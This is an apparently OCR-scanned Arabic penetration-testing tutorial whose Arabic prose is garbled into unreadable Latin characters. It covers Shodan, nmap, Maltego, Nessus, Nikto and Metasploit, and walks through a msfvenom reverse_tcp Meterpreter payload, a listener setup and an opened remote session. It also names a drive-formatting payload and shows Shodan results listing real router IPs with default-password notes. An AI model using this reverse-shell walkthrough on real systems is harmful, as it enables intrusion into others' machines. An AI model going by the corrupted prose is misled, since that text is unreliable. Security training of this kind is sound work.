2anill dyloey plidll hd 154l giog auio go A4l =

cuan’d alpo axer a91ill el powy tor-Buddy script cujaull

capeill dilac digen go Aij) 13ag (tilogil J4iy IP glgic

JU3 go aolxatul ddyyhg ayySull 138 le ajaill diSoy

(Ll gdgall

http://sourceforge.net/projects/linuxscripts/files/Tor-Buddy
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http://sourceforge.net/projects/linuxscripts/files/Tor-Buddy
http://sourceforge.net/projects/linuxscripts/files/Tor-Buddy

:“5. oo II n”u nII uo”.II t-d.l.ﬂjo

délull alghall layle Jna ol alogleoll paiiuwy (§lyiayl pito
LIl plidill Jaf go

gl plugoill quui ggai gl ghay il janill gle wyeill

uaad sjaal gl dylill glpaall Jio) ynaall dayii ga elill

(caliludl

alpgi gl ggai il j@nll olc il

&l gl spull &l dplac od jlyoimill alyeoll gle cayeill =
Jluuioll

aaally golall dyloall plii dyiyd Jolit paa glc Jgnall =

ojn 8yila gle 8jadall e dpulwl alogleo Jogi traceroute 612Ul

odg sl algall ey o] dalnyl alilyll

olAi y11ig djaaVl casiai

gyl

£9i AT pgdy dny elpo

SHODAN
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Oyl alald ell) Joniig
dajeog dj@all odal duAaljiayl
alyeillg lal diblAall alalacyl

lay dnlall

:Shoden

ouig jjalall [@moriimy il éndl albpo sgél go piey
"Hacker's Google" , "Dark Google" and terrifying"

il plai e andl JUA Jo cugll pe djaall syl aowy gag

Microsoft IS 7.0 pllis Jooi il sj@all J4 ge énadl g4oy llio
d Linux plhi) Jooi &ill 8j@alll J4 gl 1ai4 oa Servers
Lidy)al

g@ Shoden (jla "Google Dorks" u ddiuo dajeo olc b 13]
daanll dll alal4 dayeo JUA Jo aiy dilledr Shoden plaatwl

jlaall Jixgo pdj g deindll d4pill pul ga Lialeg
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dull dilac (o8 l@olaATl way (ol dialidell alalill dageo aic
dlogle’ pladiwl elifayg (odlgly dj@all oda J4 Je ¢l elidoy
.diglhall ddhiall gl diglholl 6j@aVl agani Jal o 6yilall
6jimall gl dealaoll 6j@aVl agaaiy diloall waidal aouy gag

d4uilll @ laialn] pi qillg Al agowo pell

Shoden plaatuly danill yaaa dilac ppin pgdi cagu
:Shoden plajiwbl ¢lidun gaad elile aay lilal
wilall dahilg alyiglylg dileall 6j@al caiins di4oy Shonden
SAVI aldull sjaal aheog adaill dalilg didljall ailjpnaig
Jangll piy aldpill ga didljall dalilg p4aill dohil go Aaell
juddl doldg paiiwoll pul) dwalyiall alogleall JUA o Lal
(apalyiayl

pc dolell gy lais)lio piy dialiaoll diadl alals Jo ajaell
il

oladiml anall dilaer pgdy i d4uill paal 1aa aaall go
Jangll 401 a1 dnlall d4auill 6jaal il 13] loga di§)l Shoden

il e dolell Jud Jo Lall
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:Shoden Website

@ Shodan X

&« C A & https://www.shodan.io

The search engine for

Create a Free Account m r ﬁ

Explore the Internet of Things
Use Shodan to discover which of your devices are connected to the Internet, where
they are located and who is using them.

See the Big Picture
) Websites are just one part of the Internet. Ther
refrigerators and much more that can be founc

Monitor Network Security
Keep track of all the computers on your network that are directly accessible from
the Internet. Shodan lets you understand your digital footprint.

Get a Competitive Advantage

—y
LYW Who is using your product? Where are they loc:

empirical market intelligence.

"Cisco router" dilia JAA (jo gawp alyigly ge &l pgdi
Explore ¢lc haonllg
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#% Exploits %, Maps

148.0.2.92

Clarc Dominican Republic Cisco ADSL Router

TOP COUNTRIES

Login:
' == Dominican Republic, Santo Domingo et
»nS Details
Dominican Republic 7,533 Cisco ADSL Router
Claro Dominican Republic .
United States 2,827 Login:
Chile 2,791 == Dominican Republic, Santo Domingo
China 1,811 Details
Saudi Arabia 1,660
TOP SERVICES 50.207.194.129
Comcast Cable . - .
Telnet 31,924 Cisco Configuration Profes:
FPTP 454 BE United States This feature requires the ¢
SNMP 68 Details password "cisco". These def
Automated Tank Gauge 19
Telnet (2323) 18

217.43.39.114

TOP ORGANIZATIONS — host217-43-38-114.range217-43 bicentralplus.com . _____________.

BT ; .
Clarc Dominican Republic 7,585 Cisco Router and Security [
oy ) ) - N This feature requires the
Telefonica Empresas 1,737 2= United Kingdom, Tunbridge Wells 15 teature requires |4
. Details with the password "eiseo".
SaudiNet 1,087
Telecom Argentina 5.A. gag
TATA Mammmimicsfinne a7

aglholl jlaall o] dayagi pid IP glgic s olc heall cliday
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Lijgu oa TP Link djaal ge ¢l :Alio

¥ SHooan a

Showing resultis 1 -3 of 3
Login Incorrect
HTTPA1.1 481 Unauthorized
Syrian Telecom . .
Content-Type: text/html; charset=utf-§
=T Syrian Arab Republic WWW-Authenticate: Basic realm="TP-LINK 3@8@Mbps
Details Content-Length: 1667
Connection: close

Login Incorrect
HTTPA1.1 481 Unauthorized
IMNET Internet Service Provider . o
Content-Type: text/html; charset=utf-§
=T Syrian Arab Republic WWW-Authenticate: Basic realm="TP-LINK 3@@Mbps
Details Content-Length: 1647

Comnection: close

Login Incorrect
HTTPA1.1 481 Unauthorized
Syrian Telecom ) o
Content-Type: text/html; charset=utf-§
=T Syrian Arab Republic WWW-Authenticate: Basic realm="TP-LINK 3@8@Mbps
Details Content-Length: 1647

Comnection: close
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Lygw oa IS server Ji2uiill plhiy Jooi il j@all ge dnull

#% swooan a

Document Moved

HTTP#1.1 382 Redirect
Syrian Telecom . )
Content-Length: 153

= Syrian Arab Republic Content-Type: text/html
Details Location: http:/A188.168.5. 198 exchange/

Server: Microsoft-I1IS/6.@
Microsof tOfficeWebServer: 5.9_Pub
R-Powered-By: ASP_NET

Date: Wed, @& Jan 2016 14:239:5@ GMI

403 - Forbidden: Access is denied.
HTTPS1.1 483 Forbidden
Syrian Telecom .
Content-Type: textShtml
o= Syrian Arab Republic Server: Microsoft-IISS7.5
Details A-Powered-By: ASP_NET
Late: Wed, 86 Jan 2816 14:11:15 GM]

Content-Length: 1233

ns7

Windows T or 8
Syrian Computer Society, scs

HTTPS1 .1 288 0K

Content-Type: textShtml

Last-Modified: Tue, 12 Apr 2811 @F:51:34 GMI
== Syrian Arab Republic
Details

Accept-Ranges: bytes
ETag: "Scigaillecfdchl:e"
Server: Microsoft-IIS 7.8
R-Powered-By: ASP_NET

dpulwll alogleall aey dajeal (ueo gdgo e ddl clifoy Los
dagiaoll alijgdl ge cilogleog
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:Enumeration 6@Vl Alawi
waxall plhilly déleio diyeo alogleo gaal diloc 0@

dalay gai el je pol ga aiyg guwsil gl japull 3gag dageo
pllaig dagidall alijgul el JU3 go pgaall ahu grug
dogeroll alldghillg Jagi ol aloadllg sl

.dlniall 6j@YI waliaisl

Aaillg wasall glgic Jlao A4 ping dailet Mail g@ 6ghi Jgl
axall daull o dlniall dj@aVl ol Jai illg oxilell dilaV
plxiiuul U4 o pif ping dilac

ICMP (Internet Control Message Protocol)

oliéill TCP, UDP, ICMP, and ARP traffic plaiwl Ll 940y g4lg

8ac le gy oIS ghlg nmap @ ddgll éall sl gl pg

Nl Sl 6a1ao algal
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olall

dyjlieo alaei lal ga nmap dnmap andinmap

Jgc dewgo 8lal @ dnmap

dejgall alivll (od prATT nmap

Jal go alily pja (Glal cilgal
: i fping, hping2, hping3, and
6jarll go ably] gle Jgnall nping
carall plhill g4 dlaiall

1A&g dlnioll dj@aVl casiai éaledll alibudl . §liavl pivel diwill
pgaall Jid carall gle wyeill Jal go padiuy

:Maltego

18 plhAi oa Qildli JAuiy 63gago janall dagido 8lal

6jaaVl walsiialg alaeig ailogleall gaay padiwi 8lall oda
clainVl Jnlgill cilegoaog JrogVl guglic calitislg dlnioll
anag Jh g4 ailgall plé)ig

gl Jitopill o4 maltego dilidy pd 81311 od@ pladiwl Jal go
ll8 algal dailé go 81311 odal Jgngll clildol,
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dilac cljalg Juawill elile way 6j0 JgV 61211 oda Qid) pgdi loaic

jahi cgw Gdaillg Jrawill go claiivl aeig JuogVl pe Géaill
oLl JAdul o Lo doguyll danlgll

R WIS

Al Invesbigate Manage Organtze Machines Colaboration
( I R R, H I Select Al A Add Shmilar Siblings B, Select Children %, Add Chiddren X GeletbyType " |\ Zoomto \ Zoemin
I - a i = - \
» Sut ¥ ewent Sedection v Add Pall X Selet Neighbora 35 Add Nesghbors S Select Uinks L Zoomte At | Zeom Ot
Paste Clear Quick Eriity i 3
v Al Q Delete Find Selacten :: Select Nome £, Solect Parems Fo Add Parenty & Select Boskmarked 77 fleverae Lok R Zoom 100% °\ Zoam Selection

|

2 bl

v

moo g

@ Machines | » x

8] Palette
§ Devices Bl WaiaView | Gubble View Entity List | | (0 IR TN TR R
Device
A davice curh ac 3 phan
@ infrastructure <tio Machero>
< AS
M A internel Asnumod
¢ DNS Name
A Domain ‘ /,.-"" qoogle.com (g Detail View '
Aninknereed Joreimin | 7 \
| ’,. \
IPvi Address ~ /
& An P vorsivn 4 wdidress 'l (y
g MXRecord ' / gOOg|€ com
N s sil wxihangn 1ecor “ / \ ~ Relationships
g NS Record 2 i dab
O e ) nsd.google.com
1 ! '
«5 Netblock .
et I R C
- URL W ns2.000gle.com nal.googie.com ns3.google.com BfNopertyView. ik
. pninteenet & Preperties =
gy Website L ’
W itermat websity L Output - Transform Output ¥ » JDomain Name goagle.com
§ Locations s To ONS Nawe ot zone t’rv'.vr.v returned vath O entities WHOIS Info
Cocation { ¢ ¢ © Dynamic properties |
4 e G P AR i t ¢ n serv on 1 ¢s Atachments i
. itles =1} § Graph infe
9 Penctration Testing T 5 [nane f-mr*p
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:Jndall 1A@ ¢gino

Nessus =
Nikto =
Metasploit =

JUeiwyl cwiig Jgngll ole dhalaall =

Hacking is Not a Crime, it’s an Art of Logic

G sl ket y il e @1 ) L)



:doAdo

Jooi il alorill ga caeall wiiib dilac ga alill ge énll
caeall 1Aa gl 8peill oxa Juoiwl pldll Jal go

g IP address (jlgic Jio warall cugll papun ge Junlai capei loaic
aloaall oda jlan| gi duig Joei ol aloaallg dagiaall alijgyl
o 03ag .l ge anll alosill 0da yand lasey grhiw
JUeinyl ddoer exdl Jud 8pAll sghAll

:Nessus

Jodi A4l idued jisV1 alpeill ge dalll Nessus paiimi caguw
algill ge énl dlago

il 6ghy jalio Laily ggapw alpill ge dal padiuy I gl
ol dalnyl dilidy pgdyl anbll Ra ging paiiy i ladly aile qay
oAd patch guii diloc pii gl Jud dxaall ailjeill cadid) pgdiw
alpoill
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Nessus pgdy dlild ailclw aeig ayaa Jueiwl ge hdi gl gilidl go
0)1ll oda Jaaay pgdil opuig aialal

Jla free HomeFeed edition of Nessus diuwi paATwui loaic

olil 7 xoy puiliif caguw 8yl alpeill plug-in alalayl

phhoo e dnull saa pay-for ProfessionalFeed edition dAuwui Lol
duanall alpeill

:Nessus uLnii

ol aedgo (Jo Nessus free home version Jioaiy o

http://www.nessus.org

oludll Ay 1id gl ellac (o cja o@ alpill ge énll dilac @il 13
clpil dalay elila dpnadll difpl pyla diloell oday
ProfissionalFeed activation code

it ey galall Jrodiill plAl cuuliall jlanyl jlisl pgdi gl a2y
Al alghall gily pé af JioagVl dinwlgs el Jioaill 3g5 Jlu|
root directory qa Nessus installer.deb hda od )

dylill doyloill islg Jipopill pial .
apkg —i Nessus-5.2. 7-debian6_amd64.deb
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http://www.nessus.org/

Jueuwnill olAiy dnlall dAwill gl cwa pawdl Jlaiwl od
el

dulill dayleill diliqy ad .Y
/etc/init.d/nessusd start

slacyl dylogy exll panioll g (Ll glgiell Qidl ¢
/https://127.0.0.1:8834

e

Thank you for installing Nessus, the world leader in vulnerability scanners. Nessus will allow you to perform:

* High-speed vulnerability discovery, to determine which hosts are running which services

« Agentless auditing, to make sure no host on your network is missing security patches

+ Compliance checks, to verify and prove that every host on your network adheres to the security policy you
defined

« Scan scheduling, to automatically run scans at the frequency you select

* And more!

During the next steps, we are going to create an administrative account and register your scanner with a Plugin Feed,
which we will download. You will need an Activation Code before you can use Nessus; if you do not have an Activation
Code already, please go to http:/iwww.nessus.org/register/ to get one now.

Click to swi “Works
Get started = Click to switch to "Works(

administrator user §la o .°
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https://127.0.0.1:8834/

Username userl
Password SEEBBBEES
Confirm Password sssssnnes

Administrator [

Cancel
HomeFeed dawil Jieaill agd Jlaak od 1

2w vulnerabilities is discovered and released into the public domain, Tenable's research staff
Igins") that enable Nessus to detect their presence. The plugins contain vulnerability

m to test for the presence of the security issue, and a set of remediation actions. To use
Jbscribe to a "Plugin Feed" to obtain an Activation Code.

ctivation Code

" Activation Code: [ l

aidlhy Ml padiwall puily Jganl Jrawiy pd .Y
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®
N eSS US vulnerability scal

Username

Sign In To Continue

Looking for the older Flash interface?

tenable

network security

&l Jangll Jal go URL ylgic o4 https padiwi gl qiay =
020 Jlail ggaul olf] jol gag Nessus server
lcg 127.0.0.1 olnoll glgiell glc Jooi Nessus server =

Jlgic o cja ga :8834 (jg4u i elilc uny LAl 8834 ¢ijgull
URL

go AL cagu digVl alacyl dilocg Nessus plug-ins Jioai =
Gildy 6-5

) i S 31 i



.Jhgullg Lygw Jio duyell Jgall yaey ge wgano Nessus =

:Nessus

<

@@ o 3ai o@ dodo Jgl (Jganll Jrawi dilag) pgdi gl

.Jaadll diloc (a0 [@o3ATi il plug-ins alalayl

Please wait...

-
The Nessus server is now downloading the newest plugins from Tenable which may take some time as we're testing for a lot of stuff,

Then, the Nessus server will start processing the plugins, which is CPU / disk intensive and, therefore, takes a lot of time -- this is all part of the installation process.
Once the plugins are downloaded and processed, subsequent startups will be much faster.

Since this operation is taking some time, here are some useful links:

* Documentation: This page contains all of the manuals that you'll need to get the most out of Nessus and its features.

Discussion Forums: Do you need some help or want to interact with the Nessus community? This would be the place to go!

Nessus Video Tutorials: Our YouTube channel contains a lot of videos that will help new Nessus users get started, and experienced users to discover new
features.

Support Portal: Manage your feed, open support tickets and get sample security policies (audit files).

Tenable Blog: Contains dally posts about new features for all of cour products: Nessus, SecurityCenter, the Log Correlation Engine (LCE), and the Passive
Vulnerability Scanner (PVS).

* Mandatory Sales Pitch: Do you intend to use Nessus to scan a large network? Take a look at Tenable SecurityCenter to see how you could leverage multiple
scanners in your environment and share the results with the rest of your team.

Tenable Podcast: Tenable regularly holds a podcast where we discuss about major security events of the week.

Twitter: Yup, we're there too.

..

.

Thanks again for installing Nessus, and for your patience while the plugins are getting downloaded and processed. We hope you'll enjoy Nessus 5's new features!

Good luck with the audit of your network!

goniy 13ag ol lijlas gle gol (ata dilooy pgdi cagu
dilea JA&iml dloe pgdi gl galg 83aaall plug-ins clalayl

:Nessus ilii yaljeiwl

honll JAA jo pydill éxalio ¢lidoy (paall dldoc Joi4d loaic
localhost check report jliinlg Results doild (glc
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N essus vulnerability scanner

2 1
Scans Templates Policies Users Configuration

AT capeill elifoy Lalpelill §jgha iy wile ggiy pdill nilo
layle agajall heall JiUA go 8y2i ¢l Jnlai ole

Vulnerabiity Summary

NELEATT Viratatiny 0 SV Codd Alow Renciy Code Daece

NIL4-512 Cumvetve Cpdade for Morone® RPCOCOM (123741

TITTTTTTTTIIL
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_—S§$§—§$lsS§$ss€s$§$s———m—m————
Risk Factor: Cnlical

CVSS Base Score: 100

CVSS Vector Score: CVSSZEAVNAC LAuNCCICAC
CVSS Temporal Vector: CVSS28E POC/RL OF/RC.C
CVSS Temporal Score: 78

Vulnerability Information

CPE:
cpedo canonicalubunty Nnux:10.04 . 0ts cpedo canonicabubunty Hinux:1 1 04 coeso canonical.ubuntu linux:11.10

cpejo canonicalubunty_Nnux: 12.04:-ts
Exploit Avallable: wue
Exploftability Ease: Explois are available
Patch Publication Date: 20120712
Exploftable With:
Metaspiolt (Java Applet Field Bytecode Verifier Cache Remole Code Execution)

Core impact

Reference Information

A LE CVE-2012-1725 § CVE-2012.1724 § CVE-2012-1723 | CVE-2012.1718 § CVE-20129718 | CVE20121717

o s
o N D I D D D D S

:Common Vulnerability and Exposures (CVE)
go 8y&ill pd) Jluyl piy gl ghaug aljeilly gald cajed ga CVE
cugliwlitall ol] Nessus plaaiwly clyill ge il dayii

iy cagug (JAleiwll diloc (oa doraiwall 613V1) Metasploit
(ulidll Aa ga lday lanp
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q 8yoill W@liisl ai Al plell o ggho CVE aljolll cajed

8438 41 38 sl ply ol dalBYL

:dylill gdlgall go CVE aljeill cayesd ge alogleall o Ayjall

https:/Icve.mitre.org

http://www.cvedetails.com

:Nikto
Jc daig yaaa dilac gogy Janall agidgo alpelll ge dnl ga
J yana dilaey pgdy gl alpapuy dald aljefll

potentially dangerous files and scripts 6400 =
outdated server versions 1200 =
version-specific problems on web server 300 =

dalall g Jizopill JUA go pinlio J4uiuy Nikto Jroui elifay
oAl ol plhAi (od (odldlT JAuy Agago dill dlionil

dayloill plaiinly glaall eljlan aa ganall dlac Jiodi eliday
dulill
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http://www.cvedetails.com/

=# nikto -h 127.0.0.1

sljial JAil port 80 aady pgdpw aila alijgdl aaniy péi al gl

~# nikto -h 127.0.0.1
Nikto v2.1.6

Target IP: 127:0:10.:1

Target Hostname: 127.0.0.1

Target Port: 80

Start Time: 2016-01-04 03:05:04 (GMT-5)

Server: Apache/2.4.10 (Debian)
Server leaks inodes via ETags, header found with file /, fields: 0x2b60 0x51d
0432fbf100
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user
agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent
to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.10 appears to be outdated (current is at least Apache/2.4.12). Ap
che 2.0.65 (final release) and 2.2.29 are also current.
+ Allowed HTTP Methods: OPTIONS, GET, HEAD, POST
+ ///etc/hosts: The server install allows reading of any system file by adding
an extra '/' to the URL.
+ 0SVDB-561: /server-status: This reveals Apache information. Comment out appro
priate line in the Apache conf file or restrict access to allowed sources.
0SVDB-3233: /icons/README: Apache default file found.
/server-status: Apache server-status interface found (pass protected)
7517 requests: 0 error(s) and 10 item(s) reported on remote host
2016-01-04 03:05:15 (GMT-5) (11 seconds)

(LS ggatiw dayiillg

(OSVDB) cilaxo ga Nikto 24 (o4 couil pal
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Open Source Vulnerability Database
:(OSVDB)

awiti ailayeill oda .dadiidall alyill ge 3310 clogleo Jo§i

.Nessus and Metasploit oa l@oriTwl piy (oill CVE alayjei

alogleo (oli adra@ janall agidog Jdiwo ggpiio ga OSVDB
.2dio 70000 (jo }i4ls dhiijo 6391 90000 (o ISl (e duidi

.dlogleall o A1jol http:iosvdb.org gdgall 6jLij cliday

:JAU2iw I

alijgll gaaag alogleall goa aldac 4 e oili (il dlajoll ga
Aaiil a1 agowo i€ Jgng (ole laric Jnaig alpeill ge daillg
arall jlaall gle ro1 ge 3g4

paoll abniln gle Jgnall ga JAeiwdl caladl ani
(gl pajpun) wazall jlaall  odlc Administrative level rights

! Agaii lidoyg carall jlaally Jols Juiy pAaill grhimi l@aicg
algal awnii gl cljao dalal gi guoaiiuwoe dalnl Jio dijag Joc
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http://osvdb.org/

backdoor gali bl ags daln] gl wrall jlaa gle dualn] §lyial

arally Jlaidl jlyaiwl aowy Al

JAeiwll diloor olidll Metasploit paATiui cagu

:Metasploit

Janoll dagido JAiwl 8lal Jgl gag exploitation framework ga

diloel dahio dilaia (jogs Metasploit Framework (MSF or msf)

2o ayMoiinll dqjliiog pghig plaaily dolell pouwg JAiwl

a2l aano)

3 JAA ddledr dolaatul jald puni MSF arluublwl paai loaic

azall olhill ge phill gaar §liiadl alloc

o gl qay qlidll 3a ga Jna go cja hia ga Metasploit

deilll 81Vl oda glc Joellg cayeill Jidiwall Y Jahl ng

:dodall cayjleill jaon ¢ljbil wagu JAeiwl clghi oa el Jud

warall plAill (o4 Jaino caen @ :Vulnerability ojeill =

go gl darenll dilaell patch gud)ill pac ciuw Aagi gl ghaug
Jslio I gl SQL (Jio graaill dall gehnlall pladiwyl Jila
palmntl aa ggai gl ghoy ol dlaing
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| payload oilwiy pgdy sAll Agall ga :exploit JUeiwd] =
carall plAill

A1aif dyii ga JUeiwll dilac Jo gilaill varall :Payload =
aanall plhill gle duAll agall
Jonii payloads <l
d (shell) gl jgaisg plAi oa Bind shell (cmd window)
VNC injection gl reverse shell ] dalnyl guiiy polA;
plAill jixo dalhlg aey e wifoll dhuy a8l Jouud (il
axall

:Metasploit <1liuilual

metaspliot o doriiwoll duulwll alogleill (e

MSF,s database ga Jloiwll gc dall pritiui :Search )
Hpdill oa ale lilna Al CVE identifiers olc sloicll
Nessus 2iliiy galall

CVE identifier | odlloll JMoiwll jLiAY poaATui :Use .Y

Jo 6jagiall payloads yaljeiwl poraii :Show Payload .Y
JUSiwyl Jal

Jglhall payload jL1iAY paaTiui :Set Payload ¢
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il dygpall aljball galyeiwd paiiwi :Show Options  .©
Jlidell payload (jo cjas l@slac] aay

dygpall aljlall Jal doird gaunAadl paatini :Set Option .1
aall plhill odl JUeTwll JlwjV paaiwi :Exploit .Y

dlgau elly piig Metasploit framework aiai gl way dylal o4
dogleill dilis JAA (o

~# msfconsole

8j0 Jgl Aic dnlig Metasploit Ji@uiii pgdyl oilgi 8¢ AAL) caguw
il hda (Gild] 03@ JAA s daay pl 13] @ld g7 v il

63ali o pii Jndll 3@ ¢a [@orATwi caguw ol alayleill J4
Jiropdl

metasploit v4.11.5-2015121501

1517 exploits - 871 auxiliary - 256 post

436 payloads - 37 encoders - 8 nops

Free Metasploit Pro trial: http://r-7.co/trymsp

L B e W e W e |

avAleiwyl sy lay plidll aay ol oJgll dodoll ga éunyll

oi odll CVE identifiers go dilhii qillg Metasploit oa 6jagiall
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liidoy gl Nessus plaaiwly alyeill ge éndl dilac JUA l@aly)
Nikto dagii od laliaag (oill clpeill pul plaiiwly éyll

Ghialjuial dilac ge Jlio JAA (o cyglpwlijall gle ajeii cagu
ails gl lawai @ cuglulitoll Joc ddyh) jgaiygll pliil

9a hda wlitollg qugll yapw doalaal gl jgaigll plii doalaal
(pAAiwoll payload ggi

-Msfvenom

remote shell 6x121 Jun (Gl pgdl Ml AgAll ga :shell code

@il pito jlan go Jnii

pgdig shell code glc g1 dua walo (Glar pgdy (GlAVI pito
ogd) loaicg pal ddyph b gl JrogVl e carall @J) allw)ly
awlhi ol Jangll didoy GlAVl pito gla calall i@ pidar casall
AL g Jo

Jal go el polipl calo go oai gl walai i 4oy shell code
«arall jlaall o4 backdoor salh aby Aid

shell 201 gl (dy pgdig jgaiio polipl calo padTuly (GliaVl pido
A& aia) warall pgdy loricg Guhill gl polipll 13& o4 code

Gl ldai g <l o 350 L)




go wrall jlan psaillg Jgngll dibay §liaVl pito gla alall

A9y e

upload Jui ga) JAA o o@ shell code plaiiw) gpal déyph
9l loaic piy 1Adg (alpei glec gay) ulno gdgo (ol| shell
ol 3gall ggiu loaic gl ailpol le §gai poly ole cugll yajpu

go pAATwi gl 940y 4illg shell code (§lAy Lil powy Metasploit
warall plhill oa dilaall jliisl Jal

"msfpayload” and "msfencode" plaaiil oii c1ild diloell ola
dodall yuaiy pgdi 6aalg 8lal Lallniwl o ailgall oda (4lg

"msfvenom" qQg

:Msfvenom plaiiwul

dayloill plaitiuly shell code (glc (ggay calo calhy pgdi cagw
gihiuy gl Jal go o141l plAi slach pgdi cagug msfvenom
alaiy duloell 03a ciod 13lg wall jlaall go ealdll Jlaiyl Jldil

jlaa go remote session 191 (jc (o dwly glc Jnai caguua
azall
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.crlghAll

"msfvenom" doyleill widiw Juio)ill JAA (o

:~# msfvenom
Error: No options
MsfVenom - a Metasploit standalone payload generator.
Also a replacement for msfpayload and msfencode.
Usage: /usr/bin/msfvenom [options] <var=val>

--payload <payload> Payload to use. Specify a '-' or stdin to use custom payloads

--payload-options List the payload's standard options

--list [type] List a module type. Options are: payloads, encoders, nops, all
--nopsled <length> Prepend a nopsled of [length] size on to the payload

--format <format> OQutput format (use --help-formats for a list)

--help-formats List available formats

--encoder <encoder> The encoder to use

--arch <arch=> The architecture to use

--platform <platform> The platform of the payload

--help-platforms List available platforms

--space <length> The maximum size of the resulting payload

--encoder-space <length> The maximum size of the encoded payload (defaults to the -s va

--bad-chars <list> The list of characters to avoid example: '\xQ0\xff'
--iterations <count> The number of times to encode the payload

--add-code <path> Specify an additional win32 shellcode file to include
--template <path> Specify a custom executable file to use as a template

--keep Preserve the template behavior and inject the payload as a new

--out <path> Save the payload

--var-name <name> Specify a custom variable name to use for certain output forma
--smallest Generate the smallest possible payload

--help Show this message

platform, payload M3ty pgdi gl wy Jeddl walo (Gla Jal go
paciill dyloc Jal go il aljliall gaug

Alwgpall alalao jglad de achi direo aljio pcy) Msfvenom
ldiuo agago wilo gl shell code dalals pgiiig

:daliall payloads J4 digy Jal o padiwi dyllill doyleill

msfvenom -/ payload's
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a1 padTwo (Gla (Jio diteo plaas pgdi payloads I oda e
"windows/format_all_drives" Jio pliag jihi Jooi ogdi l@neaig

wrall jlay oa 83gagall yalyill JAl alojga dilaes pgii qillg

:Remote Metasploit Shell
windows Ji&uiill plhiy Jogy jlay doalaal duwde Jun (GlAl

pAATuli cagu

Payload: "windows/meterpreter/reverse_tcp"
olhis unlall port Adiall pdjg IP glgic hiay pgdi gl qiaug
1Al

(.exe) sAraii walo Jaw glc ggiy cagu Jull

msfvenom -p windows/meterpreter/reverse_tcp LHOST=[Your
Kali IP Address] LPORT=4444 -f exe > name. exe

oxAiwall payload yaai Jal o :-p

Adioll pé)g ollAU IP glgic Aaai Jal go : LHOST & LPORT
Jnivl diloc sa paiiwoll

(s paii calo) calall ggi aganil :f
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name.exe puwl dal alo (o4 shell code (jai Jal go :>

:~# msfvenom -p windows/meterpreter/reverse tcp LHOST=172.16.2.100 LPORT=4444
-f exe >aabb.exe
No platform was selected, choosing Msf::Module::Platform::Windows from the payload

No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 333 bytes

Jogy Al drall jlaall ] "aabb.exe" calall juiy pgdi gl w1y
windows ollAil

dwiall Gih 11| plaiiuwl aiy ddganll Gliayl allac oa logh
«aloll 3@ aidr pgéyl waall glad Jaf go duclaiall

Jal Jo "msfconsole" doyloill dilidg 6331 Juiopi aidy pgdiuw
paldll Jlaidl alniyl Jal go handler lag Metasploit Jiouii

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp
set lport 4444

set lhost [Your Kali IP Address]

exploit

> use explol 1/handler
msf exploit( > set lhost 172.16.2.100
lhost => 172.16.2.100

msf exploit( ) > set lport 4444

lport => 4444

msf exploit( ) = exploit

Handler failed to bind to 172.16.2.100:4444
[*] Started reverse handler on 0.0.0.0:4444
[*] Starting the payload handler...

Gl ldai g <l o 350 L)




dilac Iaii cagu jgaiigll plihi o4 aabb.exe calall Aida piy loaicg

duwly glc Jnai cagug waall jlaall go gubell Jlnill
azall olhill go dllea meterpreter

msf exploit( ) > exploit
*] Started reverse handler on 172.16.2.100:4444

] Starting the payload handler...

] Sending stage (957487 bytes) to 172.16.2.33

] Meterpreter session 1 opened (172.16.2.100:4444 -> 172.16.2.33:57759
12-28 11:35:43 -0500

|
[
[
|
3

meterpreter > |}

dalioll ailogleill J4 yhyer pgdi "help” doyleill
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meterpreter > help

Core Commands

background

bgkill

bglist

bgrun

channel

close

disable unicode encoding

enable_unicode encoding
exit

get timeouts
help

info

irb

load
machine id
migrate

quit

read
resource

run

set timeouts

Description

Help menu

Backgrounds the current session

Kills a background meterpreter script

Lists running background scripts

Executes a meterpreter script as a background thread
Displays information or control active channels
Closes a channel

Disables encoding of unicode strings

Enables encoding of unicode strings

Terminate the meterpreter session

Get the current session timeout values

Help menu

Displays information about a Post module

Drop into irb scripting mode

Load one or more meterpreter extensions

Get the MSF ID of the machine attached to the session
Migrate the server to another process

Terminate the meterpreter session

Reads data from a channel

Run the commands stored in a file

Executes a meterpreter script or Post module
Set the current session timeout values

sleep Force Meterpreter to go quiet, then re-establish session.

:Meterpreter Shell
olidll il pouu’i Meterpreter Shell jla JuUeiwll diloc alai Aoy

arall jlay ea aldoell go yaell

ge go warall plhilly pAaill gl wcllill deily 61s1 ga Meterpreter

aloglei Jio algallg alaleill jo decgono gle gay gag Ao
olAill go dwbuall alill goag pull alaldy golall gilall waw

jgn gl guad Jiauwi ole Jgnallg oAl Juedii Llidag o4 caaall
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alhdl gle Jgnallg agnll Jiawig ggapiall Jreni ] dalayl

:Basic Meterpreter Commands
wnall plhill go dlled dwla go jgai diladl

-doyloill @li4 Liiday &y pldll G0y oill allaoll dayool

:aldaind (jory dejgo alayleill
Core Commandse

File System Commands e
Networking Commands e
System Commands e

User Interface Commands e

Webcam Commands e
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:Core Commands

meterpreter > help

Core Commands

background

bgkill

bglist

bgrun

channel

close

disable unicode encoding

enable_unicode_encoding
exit

get timeouts
help

info

irb

load
machine_id
migrate

quit

read
resource

run
set_timeouts
sleep

Description

Help menu

Backgrounds the current session

Kills a background meterpreter script

Lists running background scripts

Executes a meterpreter script as a background thread
Displays information or control active channels
Closes a channel

Disables encoding of unicode strings

Enables encoding of unicode strings

Terminate the meterpreter session

Get the current session timeout values

Help menu

Displays information about a Post module

Drop into irb scripting mode

Load one or more meterpreter extensions

Get the MSF ID of the machine attached to the session
Migrate the server to another process

Terminate the meterpreter session

Reads data from a channel

Run the commands stored in a file

Executes a meterpreter script or Post module

Set the current session timeout values

Force Meterpreter to go quiet, then re-establish session.

\od dille alnlln gga laoxaiwl ghoy il alayleill

lil powuy 1Aég dralally Jooi dluwall Jeai :background =

Jangll gi ¢l alogei Apaii Jal Jo msf prompt ll 63gell

sl alula ol

douloill plaATwl JUA o dlwall agell jaoy
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session -i <session ID>

) > sessions

Information Connection

meterpreter x86/win32 ISC-A-PC\isc-sa @ ISC-A-PC 172.16.2.100:4444 -> 1
T2:62533)

msf exploit( ) > sessions -1 1
[*] Starting interaction with 1...

meterpreter > |

dlaag plaaiwl il poua’d alogleill oda :load and run =
Meterpreter JAly dialn| alotleig

Meterpreter (o agjall :exit =
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download
edit
getlwd
getwd
